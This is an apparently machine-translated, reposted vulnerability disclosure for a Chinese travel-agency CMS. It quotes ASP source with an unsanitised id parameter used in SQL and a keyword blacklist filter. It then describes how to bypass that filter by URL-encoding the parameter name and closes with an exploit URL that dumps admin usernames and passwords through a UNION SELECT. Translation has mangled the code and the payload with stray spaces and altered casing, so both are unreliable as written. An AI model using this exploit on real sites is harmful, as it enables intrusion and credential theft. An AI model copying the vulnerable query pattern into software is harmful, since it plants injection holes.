Xianyou Travel Service website management system v1.5 Injection Vulnerability

Author: Samy Source: http://hi.baidu.com/0x7362/blog

 

<"CODEPAGE =" 936 "%> <! -- # Include file = "conn. asp" --> <! -- # Include file = "sub_top_foot.asp" --> <%

Dim idd
Idd = trim (request ("id") ''' No Filtering
If idd = "" then
Call errbox ("invalid parameter transfer ","","","","")
End if
Set rs = server. CreateObject ("adodb. recordset ")
Rs. open "select * from lxscms_ I where shenhe = 1 and id =" & idd, conn, 1, 3
If rs. eof and rs. bof then
Call errbox ("the information you are looking for does not exist ","","","","")
Else
If rs ("hits") = 0 or rs ("hits") = "" then
Rs ("hits") = 1
Else
Rs ("hits") = rs ("hits") + 1
End if
If rs ("uurl") <> "then
Response. Redirect "" & rs ("uurl ")&""
End if

 

Sub_top_foot.asp

 

 

Sub errbox (boxvalue, boxurl, box1, box2, box3)
If boxvalue = "" then
Boxvalues = ""
Else
Boxvalues = boxvalue
End if
If box1 = "1" then
Boxurls = boxurl
Else
If boxurl = "" then
Boxurls = "history. go (-1 );"
Else
Boxurls = "window. location. href = '" & boxurl &"';"
End if
End if
If box1 = "1" then
Response. write "<style> body {background: # fff; margin: auto; text-align: center ;}. box1 {line-height: 32px; font-size: 14px; margin: 60px; clear: both ;} </style> <div class = 'box1'> "& boxvalues &" <br/> <a href = 'javascript: history. go (-1); '> move back to the previous page </a> <a href =' "& boxurls &" '> continue </a> </div>"
Response. end
Else
Response. write "<script> alert ('" & boxvalues & "');" & boxurls & "</script>"
Response. end
End if
End sub
Dim Fy_Url, Fy_a, Fy_x, Fy_Cs (), Fy_Cl, Fy_Ts, fy_z'
On Error Resume Next
Fy_Url = LCase (Request. ServerVariables ("QUERY_STRING "))
Fy_a = split (Fy_Url ,"&")
Redim Fy_Cs (ubound (Fy_a ))
On Error Resume Next
For Fy_x = 0 to ubound (Fy_a)
Fy_Cs (Fy_x) = left (Fy_a (Fy_x), instr (Fy_a (Fy_x), "=")-1)

Next
For Fy_x = 0 to ubound (Fy_Cs) Fy_cs (0) = id
If Fy_Cs (Fy_x) <> "" Then

If Instr (LCase (Request (Fy_Cs (Fy_x), "'") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x), "and ") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x), "select") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x ))), "update") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x), "chr ") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x), "delete % 20 from ") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x), ";") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x ))), "insert") <> 0 or Instr (LCase (Request (Fy_Cs (Fy_x), "mid ") <> 0 Or Instr (LCase (Request (Fy_Cs (Fy_x), "master. ") <> 0 Then
Select Case Fy_Cl
Case "1"
Call errbox ("the system has locked your IP address because of some illegal operations ","","","")
Case "2"
Call errbox ("the system has locked your IP address because of some illegal operations ","","","")
Case "3"
Call errbox ("the system has locked your IP address because of some illegal operations ","","","")
End Select
Response. End

Www.2cto.com

Problem: Fy_Url = LCase (Request. ServerVariables ("QUERY_STRING "))

The submitted data will not be decoded.

 

The program judges value If Instr (LCase (Request (Fy_Cs (Fy_x), "'") based on name <> 0

 

If we encode the value, the decoded program can still detect it.

 

Bypass Method:

First, the program will judge the value of I % 64 by url encoding I % 64 for name id

 

Here I % 64 will be decoded as id

 

However, we only assign a value to I % 64. Then, the id value is null.

 

Exp: http: // siteweb/infor. asp? I % 64 =-1 union select 1, qwbmuname, qwbmupwds, 4,5, 6 + from + lxscms_u